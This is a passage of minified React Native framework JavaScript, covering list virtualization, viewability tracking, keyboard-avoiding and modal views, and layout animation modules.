s=e.nativeEvent.layout,o={offset:this._selectOffset(s),length:this._selectLength(s),index:r,inLayout:!0},n=this._frames[t];n&&o.offset===n.offset&&o.length===n.length&&r===n.index?this._frames[t].inLayout=!0:(this._totalCellLength+=o.length-(n?n.length:0),this._totalCellsMeasured+=n?0:1,this._averageCellLength=this._totalCellLength/this._totalCellsMeasured,this._frames[t]=o,this._highestMeasuredFrameIndex=Math.max(this._highestMeasuredFrameIndex,r),this._scheduleCellsToRenderUpdate()),this._computeBlankness()}},{key:\"_renderDebugOverlay\",value:function(){for(var e=this._scrollMetrics.visibleLength/this._scrollMetrics.contentLength,t=[],r=this.props.getItemCount(this.props.data),s=0;s<r;s++){var o=this._getFrameMetricsApprox(s);o.inLayout&&t.push(o)}var n=this._getFrameMetricsApprox(this.state.first).offset,i=this._getFrameMetricsApprox(this.state.last),a=i.offset+i.length-n,h=this._scrollMetrics.offset,p=this._scrollMetrics.visibleLength,c={position:\"absolute\",top:0,right:0};return l.createElement(d,{style:babelHelpers.extends({},c,{bottom:0,width:20,borderColor:\"blue\",borderWidth:1})},t.map(function(t,r){return l.createElement(d,{key:\"f\"+r,style:babelHelpers.extends({},c,{left:0,top:t.offset*e,height:t.length*e,backgroundColor:\"orange\"})})}),l.createElement(d,{style:babelHelpers.extends({},c,{left:0,top:n*e,height:a*e,borderColor:\"green\",borderWidth:2})}),l.createElement(d,{style:babelHelpers.extends({},c,{left:0,top:h*e,height:p*e,borderColor:\"red\",borderWidth:2})}))}},{key:\"_selectLength\",value:function(e){return this.props.horizontal?e.width:e.height}},{key:\"_selectOffset\",value:function(e){return this.props.horizontal?e.x:e.y}},{key:\"_maybeCallOnEndReached\",value:function(){var e=this.props,t=e.data,r=e.getItemCount,s=e.onEndReached,o=e.onEndReachedThreshold,n=this._scrollMetrics,i=n.contentLength,l=n.visibleLength,a=n.offset,h=i-l-a;s&&this.state.last===r(t)-1&&h<o*l&&(this._hasDataChangedSinceEndReached||this._scrollMetrics.contentLength!==this._sentEndForContentLength)&&(this._hasDataChangedSinceEndReached=!1,this._sentEndForContentLength=this._scrollMetrics.contentLength,s({distanceFromEnd:h}))}},{key:\"_scheduleCellsToRenderUpdate\",value:function(){var e=this.state,t=e.first,r=e.last,s=this._scrollMetrics,o=s.offset,n=s.visibleLength,i=s.velocity,l=this.props.getItemCount(this.props.data),a=!1;if(t>0||r<l-1){var h=o-this._getFrameMetricsApprox(t).offset,p=this._getFrameMetricsApprox(r).offset-(o+n),c=this.props.onEndReachedThreshold*n/2;a=Math.min(h,p)<0||i<-2&&h<c||i>2&&p<c}return a&&this._averageCellLength?(this._updateCellsToRenderBatcher.dispose({abort:!0}),void this._updateCellsToRender()):void this._updateCellsToRenderBatcher.schedule()}},{key:\"_updateViewableItems\",value:function(e){var t=this.props,r=t.getItemCount,s=t.onViewableItemsChanged;s&&this._viewabilityHelper.onUpdate(r(e),this._scrollMetrics.offset,this._scrollMetrics.visibleLength,this._getFrameMetrics,this._createViewToken,s,this.state)}}]),t}(l.PureComponent);y.defaultProps={disableVirtualization:!1,horizontal:!1,initialNumToRender:10,keyExtractor:function(e,t){return null!=e.key?e.key:(v=!0,String(t))},maxToRenderPerBatch:10,onEndReachedThreshold:2,scrollEventThrottle:50,updateCellsBatchingPeriod:50,windowSize:21},y.contextTypes={virtualizedList:i.shape({horizontal:i.bool})},y.childContextTypes={virtualizedList:i.shape({horizontal:i.bool})};var b=function(){var e=this;this._onUpdateSeparators=function(t,r){t.forEach(function(t){var s=null!=t&&e._cellRefs[t];s&&s.updateSeparatorProps(r)})},this._averageCellLength=0,this._cellRefs={},this._hasDataChangedSinceEndReached=!0,this._hasWarned={},this._highestMeasuredFrameIndex=0,this._headerLength=0,this._initialScrollIndexTimeout=0,this._frames={},this._footerLength=0,this._scrollMetrics={contentLength:0,dOffset:0,dt:10,offset:0,timestamp:0,velocity:0,visibleLength:0},this._scrollRef=null,this._sentEndForContentLength=0,this._totalCellLength=0,this._totalCellsMeasured=0,this._captureScrollRef=function(t){e._scrollRef=t},this._defaultRenderScrollComponent=function(t){return e._isNestedWithSameOrientation()?l.createElement(d,t):t.onRefresh?(m(\"boolean\"==typeof t.refreshing,\"`refreshing` prop must be set as a boolean in order to use `onRefresh`, but got `\"+JSON.stringify(t.refreshing)+\"`\"),l.createElement(p,babelHelpers.extends({},t,{refreshControl:l.createElement(h,{refreshing:t.refreshing,onRefresh:t.onRefresh,progressViewOffset:t.progressViewOffset})}))):l.createElement(p,t)},this._onCellUnmount=function(t){var r=e._frames[t];r&&(e._frames[t]=babelHelpers.extends({},r,{inLayout:!1}))},this._onLayout=function(t){e._scrollMetrics.visibleLength=e._selectLength(t.nativeEvent.layout),e.props.onLayout&&e.props.onLayout(t),e._scheduleCellsToRenderUpdate(),e._maybeCallOnEndReached()},this._onLayoutEmpty=function(t){e.props.onLayout&&e.props.onLayout(t)},this._onLayoutFooter=function(t){e._footerLength=e._selectLength(t.nativeEvent.layout)},this._onLayoutHeader=function(t){e._headerLength=e._selectLength(t.nativeEvent.layout)},this._onContentSizeChange=function(t,r){e.props.onContentSizeChange&&e.props.onContentSizeChange(t,r),e._scrollMetrics.contentLength=e._selectLength({height:r,width:t}),e._scheduleCellsToRenderUpdate(),e._maybeCallOnEndReached()},this._onScroll=function(t){e.props.onScroll&&e.props.onScroll(t);var r=t.timeStamp,s=e._selectLength(t.nativeEvent.layoutMeasurement),o=e._selectLength(t.nativeEvent.contentSize),n=e._selectOffset(t.nativeEvent.contentOffset),i=e._scrollMetrics.timestamp?Math.max(1,r-e._scrollMetrics.timestamp):1;i>500&&e._scrollMetrics.dt>500&&o>5*s&&!e._hasWarned.perf&&(f(\"VirtualizedList: You have a large list that is slow to update - make sure your renderItem function renders components that follow React performance best practices like PureComponent, shouldComponentUpdate, etc.\",{dt:i,prevDt:e._scrollMetrics.dt,contentLength:o}),e._hasWarned.perf=!0);var l=n-e._scrollMetrics.offset,a=l/i;e._scrollMetrics={contentLength:o,dt:i,dOffset:l,offset:n,timestamp:r,velocity:a,visibleLength:s},e._updateViewableItems(e.props.data),e.props&&(e._maybeCallOnEndReached(),0!==a&&e._fillRateHelper.activate(),e._computeBlankness(),e._scheduleCellsToRenderUpdate())},this._onScrollBeginDrag=function(t){e._viewabilityHelper.recordInteraction(),e.props.onScrollBeginDrag&&e.props.onScrollBeginDrag(t)},this._onScrollEndDrag=function(t){var r=t.nativeEvent.velocity;r&&(e._scrollMetrics.velocity=e._selectOffset(r)),e._computeBlankness(),e.props.onScrollEndDrag&&e.props.onScrollEndDrag(t)},this._onMomentumScrollEnd=function(t){e._scrollMetrics.velocity=0,e._computeBlankness(),e.props.onMomentumScrollEnd&&e.props.onMomentumScrollEnd(t)},this._updateCellsToRender=function(){var t=e.props,r=t.data,s=t.getItemCount,o=t.onEndReachedThreshold,n=e._isVirtualizationDisabled();e._updateViewableItems(r),r&&e.setState(function(t){var i=void 0;if(n){var l=e._scrollMetrics,a=l.contentLength,h=l.offset,p=l.visibleLength,c=a-p-h,d=c<o*p?e.props.maxToRenderPerBatch:0;i={first:0,last:Math.min(t.last+d,s(r)-1)}}else e._scrollMetrics.visibleLength&&(e.props.initialScrollIndex&&!e._scrollMetrics.offset||(i=g(e.props,t,e._getFrameMetricsApprox,e._scrollMetrics)));return i})},this._createViewToken=function(t,r){var s=e.props,o=s.data,n=s.getItem,i=s.keyExtractor,l=n(o,t);return m(l,\"Missing item for index \"+t),{index:t,item:l,key:i(l,t),isViewable:r}},this._getFrameMetricsApprox=function(t){var r=e._getFrameMetrics(t);if(r&&r.index===t)return r;var s=e.props.getItemLayout;return m(!s,\"Should not have to estimate frames when a measurement metrics function is provided\"),{length:e._averageCellLength,offset:e._averageCellLength*t}},this._getFrameMetrics=function(t){var r=e.props,s=r.data,o=r.getItem,n=r.getItemCount,i=r.getItemLayout,l=r.keyExtractor;m(n(s)>t,\"Tried to get frame for out of range index \"+t);var a=o(s,t),h=a&&e._frames[l(a,t)];return h&&h.index===t||i&&(h=i(s,t)),h}},C=function(e){function t(){var e,r,s,o;babelHelpers.classCallCheck(this,t);for(var n=arguments.length,i=Array(n),l=0;l<n;l++)i[l]=arguments[l];return r=s=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),s.state={separatorProps:{highlighted:!1,leadingItem:s.props.item}},s._separators={highlight:function(){var e=s.props,t=e.cellKey,r=e.prevCellKey;s.props.onUpdateSeparators([t,r],{highlighted:!0})},unhighlight:function(){var e=s.props,t=e.cellKey,r=e.prevCellKey;s.props.onUpdateSeparators([t,r],{highlighted:!1})},updateProps:function(e,t){var r=s.props,o=r.cellKey,n=r.prevCellKey;s.props.onUpdateSeparators([\"leading\"===e?n:o],t)}},o=r,babelHelpers.possibleConstructorReturn(s,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"updateSeparatorProps\",value:function(e){this.setState(function(t){return{separatorProps:babelHelpers.extends({},t.separatorProps,e)}})}},{key:\"componentWillUnmount\",value:function(){this.props.onUnmount(this.props.cellKey)}},{key:\"render\",value:function(){var e=this.props,t=e.CellRendererComponent,r=e.ItemSeparatorComponent,s=e.fillRateHelper,o=e.item,n=e.index,i=e.inversionStyle,a=e.parentProps,h=a.renderItem,p=a.getItemLayout;m(h,\"no renderItem!\");var c=h({item:o,index:n,separators:this._separators}),u=!p||a.debug||s.enabled()?this.props.onLayout:void 0,f=r&&l.createElement(r,this.state.separatorProps);return t?l.createElement(t,babelHelpers.extends({},this.props,{style:i,onLayout:u}),c,f):l.createElement(d,{style:i,onLayout:u},c,f)}}]),t}(l.Component),L=c.create({verticallyInverted:{transform:[{scaleY:-1}]},horizontallyInverted:{transform:[{scaleX:-1}]}});r.exports=y},230);\n__d(function(t,a,e,l){\"use strict\";var n=a(183),s=function(){function t(a,e){babelHelpers.classCallCheck(this,t),this._delay=e,this._callback=a}return babelHelpers.createClass(t,[{key:\"dispose\",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{abort:!1};this._taskHandle&&(this._taskHandle.cancel(),t.abort||this._callback(),this._taskHandle=null)}},{key:\"schedule\",value:function(){var t=this;if(!this._taskHandle){var a=setTimeout(function(){t._taskHandle=n.runAfterInteractions(function(){t._taskHandle=null,t._callback()})},this._delay);this._taskHandle={cancel:function(){return clearTimeout(a)}}}}}]),t}();e.exports=s},231);\n__d(function(t,e,a,n){\"use strict\";var s=e(24),i=e(27),l=function t(){babelHelpers.classCallCheck(this,t),this.any_blank_count=0,this.any_blank_ms=0,this.any_blank_speed_sum=0,this.mostly_blank_count=0,this.mostly_blank_ms=0,this.pixels_blank=0,this.pixels_sampled=0,this.pixels_scrolled=0,this.total_time_spent=0,this.sample_count=0},_=!1,o=[],r=10,h=_?1:null,u=function(){function t(e){babelHelpers.classCallCheck(this,t),this._anyBlankStartTime=null,this._enabled=!1,this._info=new l,this._mostlyBlankStartTime=null,this._samplesStartTime=null,this._getFrameMetrics=e,this._enabled=(h||0)>Math.random(),this._resetData()}return babelHelpers.createClass(t,null,[{key:\"addListener\",value:function(t){return i(null!==h,\"Call `FillRateHelper.setSampleRate` before `addListener`.\"),o.push(t),{remove:function(){o=o.filter(function(e){return t!==e})}}}},{key:\"setSampleRate\",value:function(t){h=t}},{key:\"setMinSampleCount\",value:function(t){r=t}}]),babelHelpers.createClass(t,[{key:\"activate\",value:function(){this._enabled&&null==this._samplesStartTime&&(_&&console.debug(\"FillRateHelper: activate\"),this._samplesStartTime=s())}},{key:\"deactivateAndFlush\",value:function(){if(this._enabled){var t=this._samplesStartTime;if(null==t)return void(_&&console.debug(\"FillRateHelper: bail on deactivate with no start time\"));if(this._info.sample_count<r)return void this._resetData();var e=s()-t,a=babelHelpers.extends({},this._info,{total_time_spent:e});if(_){var n={avg_blankness:this._info.pixels_blank/this._info.pixels_sampled,avg_speed:this._info.pixels_scrolled/(e/1e3),avg_speed_when_any_blank:this._info.any_blank_speed_sum/this._info.any_blank_count,any_blank_per_min:this._info.any_blank_count/(e/1e3/60),any_blank_time_frac:this._info.any_blank_ms/e,mostly_blank_per_min:this._info.mostly_blank_count/(e/1e3/60),mostly_blank_time_frac:this._info.mostly_blank_ms/e};for(var i in n)n[i]=Math.round(1e3*n[i])/1e3;console.debug(\"FillRateHelper deactivateAndFlush: \",{derived:n,info:a})}o.forEach(function(t){return t(a)}),this._resetData()}}},{key:\"computeBlankness\",value:function(t,e,a){if(!this._enabled||0===t.getItemCount(t.data)||null==this._samplesStartTime)return 0;var n=a.dOffset,i=a.offset,l=a.velocity,_=a.visibleLength;this._info.sample_count++,this._info.pixels_sampled+=Math.round(_),this._info.pixels_scrolled+=Math.round(Math.abs(n));var o=Math.round(1e3*Math.abs(l)),r=s();null!=this._anyBlankStartTime&&(this._info.any_blank_ms+=r-this._anyBlankStartTime),this._anyBlankStartTime=null,null!=this._mostlyBlankStartTime&&(this._info.mostly_blank_ms+=r-this._mostlyBlankStartTime),this._mostlyBlankStartTime=null;for(var h=0,u=e.first,m=this._getFrameMetrics(u);u<=e.last&&(!m||!m.inLayout);)m=this._getFrameMetrics(u),u++;m&&u>0&&(h=Math.min(_,Math.max(0,m.offset-i)));for(var f=0,c=e.last,b=this._getFrameMetrics(c);c>=e.first&&(!b||!b.inLayout);)b=this._getFrameMetrics(c),c--;if(b&&c<t.getItemCount(t.data)-1){var k=b.offset+b.length;f=Math.min(_,Math.max(0,i+_-k))}var d=Math.round(h+f),p=d/_;return p>0?(this._anyBlankStartTime=r,this._info.any_blank_speed_sum+=o,this._info.any_blank_count++,this._info.pixels_blank+=d,p>.5&&(this._mostlyBlankStartTime=r,this._info.mostly_blank_count++)):(o<.01||Math.abs(n)<1)&&this.deactivateAndFlush(),p}},{key:\"enabled\",value:function(){return this._enabled}},{key:\"_resetData\",value:function(){this._anyBlankStartTime=null,this._info=new l,this._mostlyBlankStartTime=null,this._samplesStartTime=null}}]),t}();a.exports=u},232);\n__d(function(e,t,i,r){\"use strict\";function a(e,t,i,r,a,l){if(s(i,r,a))return!0;var o=n(i,r,a),h=100*(e?o/a:o/l);return h>=t}function n(e,t,i){var r=Math.min(t,i)-Math.max(e,0);return Math.max(0,r)}function s(e,t,i){return e>=0&&t<=i&&t>e}var l=t(13),o=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{viewAreaCoveragePercentThreshold:0};babelHelpers.classCallCheck(this,e),this._hasInteracted=!1,this._lastUpdateTime=0,this._timers=new Set,this._viewableIndices=[],this._viewableItems=new Map,this._config=t}return babelHelpers.createClass(e,[{key:\"dispose\",value:function(){this._timers.forEach(clearTimeout)}},{key:\"computeViewableItems\",value:function(e,t,i,r,n){var s=this._config,o=s.itemVisiblePercentThreshold,h=s.viewAreaCoveragePercentThreshold,c=null!=h,u=c?h:o;l(null!=u&&null!=o!=(null!=h),\"Must set exactly one of itemVisiblePercentThreshold or viewAreaCoveragePercentThreshold\");var f=[];if(0===e)return f;var v=-1,m=n||{first:0,last:e-1},d=m.first,b=m.last;l(b<e,\"Invalid render range \"+JSON.stringify({renderRange:n,itemCount:e}));for(var _=d;_<=b;_++){var p=r(_);if(p){var y=p.offset-t,w=y+p.length;if(y<i&&w>0)v=_,a(c,u,y,w,i,p.length)&&f.push(_);else if(v>=0)break}}return f}},{key:\"onUpdate\",value:function(e,t,i,r,a,n,s){var l=this,o=Date.now();0===this._lastUpdateTime&&e>0&&r(0)&&(this._lastUpdateTime=o);var h=this._lastUpdateTime?o-this._lastUpdateTime:0;if(!this._config.waitForInteraction||this._hasInteracted){var c=[];if(e&&(c=this.computeViewableItems(e,t,i,r,s)),this._viewableIndices.length!==c.length||!this._viewableIndices.every(function(e,t){return e===c[t]}))if(this._viewableIndices=c,this._lastUpdateTime=o,this._config.minimumViewTime&&h<this._config.minimumViewTime){var u=setTimeout(function(){l._timers.delete(u),l._onUpdateSync(c,n,a)},this._config.minimumViewTime);this._timers.add(u)}else this._onUpdateSync(c,n,a)}}},{key:\"recordInteraction\",value:function(){this._hasInteracted=!0}},{key:\"_onUpdateSync\",value:function(e,t,i){var r=this;e=e.filter(function(e){return r._viewableIndices.includes(e)});for(var a=this._viewableItems,n=new Map(e.map(function(e){var t=i(e,!0);return[t.key,t]})),s=[],l=n,o=Array.isArray(l),h=0,l=o?l:l[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();;){var c;if(o){if(h>=l.length)break;c=l[h++]}else{if(h=l.next(),h.done)break;c=h.value}var u=c,f=babelHelpers.slicedToArray(u,2),v=f[0],m=f[1];a.has(v)||s.push(m)}for(var d=a,b=Array.isArray(d),_=0,d=b?d:d[\"function\"==typeof Symbol?Symbol.iterator:\"@@iterator\"]();;){var p;if(b){if(_>=d.length)break;p=d[_++]}else{if(_=d.next(),_.done)break;p=_.value}var y=p,w=babelHelpers.slicedToArray(y,2),g=w[0],T=w[1];n.has(g)||s.push(babelHelpers.extends({},T,{isViewable:!1}))}s.length>0&&(this._viewableItems=n,t({viewableItems:Array.from(n.values()),changed:s}))}}]),e}();i.exports=o},233);\n__d(function(t,e,r,a){\"use strict\";function n(t,e,r){for(var a=[],n=0;n<e;n++)for(var i=r(n),s=i.offset+i.length,l=0;l<t.length;l++)if(null==a[l]&&s>=t[l]&&(a[l]=n,l===t.length-1))return f(a.length===t.length,\"bad offsets input, should be in increasing order \"+JSON.stringify(t)),a;return a}function i(t,e){return e.last-e.first+1-Math.max(0,1+Math.min(e.last,t.last)-Math.max(e.first,t.first))}function s(t,e,r,a){var s=t.data,f=t.getItemCount,l=t.maxToRenderPerBatch,o=t.windowSize,u=f(s);if(0===u)return e;var h=a.offset,m=a.velocity,c=a.visibleLength,d=Math.max(0,h),v=d+c,g=(o-1)*c,b=.5,w=m>1?\"after\":m<-1?\"before\":\"none\",x=Math.max(0,d-(1-b)*g),M=Math.max(0,v+b*g),p=n([x,d,v,M],t.getItemCount(t.data),r),y=babelHelpers.slicedToArray(p,4),C=y[0],O=y[1],L=y[2],R=y[3];C=null==C?0:C,O=null==O?Math.max(0,C):O,R=null==R?u-1:R,L=null==L?Math.min(R,O+l-1):L;for(var S={first:O,last:L},T=i(e,S);;){if(O<=C&&L>=R)break;var k=T>=l,B=O<=e.first||O>e.last,I=O>C&&(!k||!B),J=L>=e.last||L<e.first,N=L<R&&(!k||!J);if(k&&!I&&!N)break;!I||\"after\"===w&&N&&J||(B&&T++,O--),!N||\"before\"===w&&I&&B||(J&&T++,L++)}if(!(L>=O&&O>=0&&L<u&&O>=C&&L<=R&&O<=S.first&&L>=S.last))throw new Error(\"Bad window calculation \"+JSON.stringify({first:O,last:L,itemCount:u,overscanFirst:C,overscanLast:R,visible:S}));return{first:O,last:L}}var f=e(13),l={computeWindowedRenderLimits:s,elementsThatOverlapOffsets:n,newRangeCount:i};r.exports=l},234);\n__d(function(e,t,r,l){\"use strict\";var s=t(203),i=t(114),a=t(144),n=t(110),o=t(236),c=function(e){function t(){var e,r,l,s;babelHelpers.classCallCheck(this,t);for(var i=arguments.length,a=Array(i),n=0;n<i;n++)a[n]=arguments[n];return r=l=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(a))),l._viewRef=null,l._captureRef=function(e){l._viewRef=e},s=r,babelHelpers.possibleConstructorReturn(l,s)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"setNativeProps\",value:function(e){var t=this._viewRef;t&&(o(t),t.setNativeProps(e))}},{key:\"render\",value:function(){var e=this.props,t=e.children,r=e.style,l=e.imageStyle,o=e.imageRef,c=babelHelpers.objectWithoutProperties(e,[\"children\",\"style\",\"imageStyle\",\"imageRef\"]);return i.createElement(n,{style:r,ref:this._captureRef},i.createElement(s,babelHelpers.extends({},c,{style:[a.absoluteFill,{width:r.width,height:r.height},l],ref:o})),t)}}]),t}(i.Component);r.exports=c},235);\n__d(function(t,e,o,i){\"use strict\";var n=e(13),r=function(t){n(t&&\"function\"==typeof t.setNativeProps,\"Touchable child must either be native or forward setNativeProps to a native component\")};o.exports=r},236);\n__d(function(e,a,n,l){\"use strict\";var r=a(15).ImageEditingManager,t=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"cropImage\",value:function(e,a,n,l){r.cropImage(e,a,n,l)}}]),e}();n.exports=t},237);\n__d(function(e,a,o,r){\"use strict\";var n=a(15).ImageStoreManager,g=function(){function e(){babelHelpers.classCallCheck(this,e)}return babelHelpers.createClass(e,null,[{key:\"hasImageForTag\",value:function(e,a){n.hasImageForTag?n.hasImageForTag(e,a):console.warn(\"hasImageForTag() not implemented\")}},{key:\"removeImageForTag\",value:function(e){n.removeImageForTag?n.removeImageForTag(e):console.warn(\"removeImageForTag() not implemented\")}},{key:\"addImageFromBase64\",value:function(e,a,o){n.addImageFromBase64(e,a,o)}},{key:\"getBase64ForTag\",value:function(e,a,o){n.getBase64ForTag(e,a,o)}}]),e}();o.exports=g},238);\n__d(function(t,e,o,n){\"use strict\";var i=e(140),r=e(209),a=e(240),s=(e(23),e(111)),h=e(114),l=e(216),u=e(110),b=e(130),d=\"VIEW\",c=i({displayName:\"KeyboardAvoidingView\",mixins:[l],propTypes:babelHelpers.extends({},b,{behavior:s.oneOf([\"height\",\"position\",\"padding\"]),contentContainerStyle:b.style,keyboardVerticalOffset:s.number.isRequired}),getDefaultProps:function(){return{keyboardVerticalOffset:0}},getInitialState:function(){return{bottom:0}},subscriptions:[],frame:null,relativeKeyboardHeight:function(t){var e=this.frame;if(!e||!t)return 0;var o=t.screenY-this.props.keyboardVerticalOffset;return Math.max(e.y+e.height-o,0)},onKeyboardChange:function(t){if(!t)return void this.setState({bottom:0});var e=t.duration,o=t.easing,n=t.endCoordinates,i=this.relativeKeyboardHeight(n);e&&o&&a.configureNext({duration:e,update:{duration:e,type:a.Types[o]||\"keyboard\"}}),this.setState({bottom:i})},onLayout:function(t){this.frame=t.nativeEvent.layout},componentWillUpdate:function(t,e,o){e.bottom===this.state.bottom&&\"height\"===this.props.behavior&&\"height\"===t.behavior&&(e.bottom=0)},componentWillMount:function(){this.subscriptions=[r.addListener(\"keyboardWillChangeFrame\",this.onKeyboardChange)]},componentWillUnmount:function(){this.subscriptions.forEach(function(t){return t.remove()})},render:function(){var t=this.props,e=t.behavior,o=t.children,n=t.style,i=babelHelpers.objectWithoutProperties(t,[\"behavior\",\"children\",\"style\"]);switch(e){case\"height\":var r=void 0;return this.frame&&(r={height:this.frame.height-this.state.bottom,flex:0}),h.createElement(u,babelHelpers.extends({ref:d,style:[n,r],onLayout:this.onLayout},i),o);case\"position\":var a={bottom:this.state.bottom},s=this.props.contentContainerStyle;return h.createElement(u,babelHelpers.extends({ref:d,style:n,onLayout:this.onLayout},i),h.createElement(u,{style:[s,a]},o));case\"padding\":var l={paddingBottom:this.state.bottom};return h.createElement(u,babelHelpers.extends({ref:d,style:[n,l],onLayout:this.onLayout},i),o);default:return h.createElement(u,babelHelpers.extends({ref:d,onLayout:this.onLayout,style:n},i),o)}}});o.exports=c},239);\n__d(function(e,n,t,i){\"use strict\";function r(e,n,t){c({config:b},{config:e},n,t)}function a(e,n){s.configureNextLayoutAnimation(e,n||function(){},function(){})}function p(e,n,t){return{duration:e,create:{type:n,property:t},update:{type:n},delete:{type:n,property:t}}}var o=n(111),s=n(63),u=n(118),c=o.checkPropTypes,y={spring:!0,linear:!0,easeInEaseOut:!0,easeIn:!0,easeOut:!0,keyboard:!0},l=u(y),d={opacity:!0,scaleXY:!0},g=u(d),f=o.shape({duration:o.number,delay:o.number,springDamping:o.number,initialVelocity:o.number,type:o.oneOf(Object.keys(l)).isRequired,property:o.oneOf(Object.keys(g))}),b=o.shape({duration:o.number.isRequired,create:f,update:f,delete:f}),O={easeInEaseOut:p(300,l.easeInEaseOut,g.opacity),linear:p(500,l.linear,g.opacity),spring:{duration:700,create:{type:l.linear,property:g.opacity},update:{type:l.spring,springDamping:.4},delete:{type:l.linear,property:g.opacity}}},m={configureNext:a,create:p,Types:l,Properties:g,checkConfig:r,Presets:O,easeInEaseOut:a.bind(null,O.easeInEaseOut),linear:a.bind(null,O.linear),spring:a.bind(null,O.spring)};t.exports=m},240);\n__d(function(e,a,s,r){var t=a(111),n=a(114),l=a(144),i=a(110),o=a(130),p=a(142),d=function(e){function a(){var e,s,r,t;babelHelpers.classCallCheck(this,a);for(var n=arguments.length,l=Array(n),i=0;i<n;i++)l[i]=arguments[i];return s=r=babelHelpers.possibleConstructorReturn(this,(e=a.__proto__||Object.getPrototypeOf(a)).call.apply(e,[this].concat(l))),r._hasWarnedInvalidRenderMask=!1,t=s,babelHelpers.possibleConstructorReturn(r,t)}return babelHelpers.inherits(a,e),babelHelpers.createClass(a,[{key:\"render\",value:function(){var e=this.props,a=e.maskElement,s=e.children,r=babelHelpers.objectWithoutProperties(e,[\"maskElement\",\"children\"]);return n.isValidElement(a)?n.createElement(c,r,n.createElement(i,{pointerEvents:\"none\",style:l.absoluteFill},a),s):(this._hasWarnedInvalidRenderMask||(console.warn(\"MaskedView: Invalid `maskElement` prop was passed to MaskedView. Expected a React Element. No mask will render.\"),this._hasWarnedInvalidRenderMask=!0),n.createElement(i,r,s))}}]),a}(n.Component);d.propTypes=babelHelpers.extends({},o,{maskElement:t.element.isRequired});var c=p(\"RCTMaskedView\",{name:\"RCTMaskedView\",displayName:\"RCTMaskedView\",propTypes:babelHelpers.extends({},o)});s.exports=d},241);\n__d(function(e,t,n,r){\"use strict\";var o,s=(t(243),t(244)),a=t(23),i=t(114),p=t(111),l=t(144),c=t(110),u=t(122),d=t(142),h=d(\"RCTModalHostView\",null),f=function(e){function t(e){babelHelpers.classCallCheck(this,t);var n=babelHelpers.possibleConstructorReturn(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return t._confirmProps(e),n}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"componentWillReceiveProps\",value:function(e){t._confirmProps(e)}},{key:\"render\",value:function(){if(this.props.visible===!1)return null;var e={backgroundColor:this.props.transparent?\"transparent\":\"white\"},t=this.props.animationType;t||(t=\"none\",this.props.animated&&(t=\"slide\"));var n=this.props.presentationStyle;n||(n=\"fullScreen\",this.props.transparent&&(n=\"overFullScreen\"));var r=this.props.children;return i.createElement(h,{animationType:t,presentationStyle:n,transparent:this.props.transparent,hardwareAccelerated:this.props.hardwareAccelerated,onRequestClose:this.props.onRequestClose,onShow:this.props.onShow,style:y.modal,onStartShouldSetResponder:this._shouldSetResponder,supportedOrientations:this.props.supportedOrientations,onOrientationChange:this.props.onOrientationChange},i.createElement(c,{style:[y.container,e]},r))}},{key:\"_shouldSetResponder\",value:function(){return!0}}],[{key:\"_confirmProps\",value:function(e){e.presentationStyle&&\"overFullScreen\"!==e.presentationStyle&&e.transparent&&console.warn(\"Modal with '\"+e.presentationStyle+\"' presentation style and 'transparent' value is not supported.\")}}]),t}(i.Component);f.propTypes={animationType:p.oneOf([\"none\",\"slide\",\"fade\"]),presentationStyle:p.oneOf([\"fullScreen\",\"pageSheet\",\"formSheet\",\"overFullScreen\"]),transparent:p.bool,hardwareAccelerated:p.bool,visible:p.bool,onRequestClose:a.isTVOS?p.func.isRequired:p.func,onShow:p.func,animated:u(p.bool,\"Use the `animationType` prop instead.\"),supportedOrientations:p.arrayOf(p.oneOf([\"portrait\",\"portrait-upside-down\",\"landscape\",\"landscape-left\",\"landscape-right\"])),onOrientationChange:p.func},f.defaultProps={visible:!0,hardwareAccelerated:!1},f.contextTypes={rootTag:p.number};var b=s.isRTL?\"right\":\"left\",y=l.create({modal:{position:\"absolute\"},container:(o={position:\"absolute\"},babelHelpers.defineProperty(o,b,0),babelHelpers.defineProperty(o,\"top\",0),o)});n.exports=f},242);\n__d(function(e,t,n,r){\"use strict\";var o=(t(37),t(111)),s=(t(35),t(114)),i=(t(44),t(144)),l=t(110),a=function(e){function t(){var e,n,r,o;babelHelpers.classCallCheck(this,t);for(var s=arguments.length,i=Array(s),l=0;l<s;l++)i[l]=arguments[l];return n=r=babelHelpers.possibleConstructorReturn(this,(e=t.__proto__||Object.getPrototypeOf(t)).call.apply(e,[this].concat(i))),r.state={inspector:null,mainKey:1},r._subscription=null,o=n,babelHelpers.possibleConstructorReturn(r,o)}return babelHelpers.inherits(t,e),babelHelpers.createClass(t,[{key:\"getChildContext\",value:function(){return{rootTag:this.props.rootTag}}},{key:\"componentDidMount\",value:function(){}},{key:\"componentWillUnmount\",value:function(){this._subscription&&this._subscription.remove()}},{key:\"render\",value:function(){var e=this,t=null,n=s.createElement(l,{collapsable:!this.state.inspector,key:this.state.mainKey,pointerEvents:\"box-none\",style:p.appContainer,ref:function(t){e._mainRef=t}},this.props.children),r=this.props.WrapperComponent;return r&&(n=s.createElement(r,null,n)),s.createElement(l,{style:p.appContainer,pointerEvents:\"box-none\"},n,t,this.state.inspector)}}]),t}(s.Component);a.childContextTypes={rootTag:o.number};var p=i.create({appContainer:{flex:1}});n.exports=a},243);\n__d(function(n,o,t,c){\"use strict\";var i=o(15).I18nManager||{isRTL:!1,allowRTL:function(){},forceRTL:function(){}};t.exports=i},244);\n__d(function(t,e,o,a){\"use strict\";function s(){return m++}var i=e(36),n=e(203),r=e(15).NavigatorManager,c=e(114),u=e(111),p=e(44),l=e(246),d=e(144),h=e(170),f=e(110),v=e(130),g=e(140),k=e(13),S=e(142),T=e(118),b=\"transitionerRef\",m=0,O=function(t){function e(){return babelHelpers.classCallCheck(this,e),babelHelpers.possibleConstructorReturn(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return 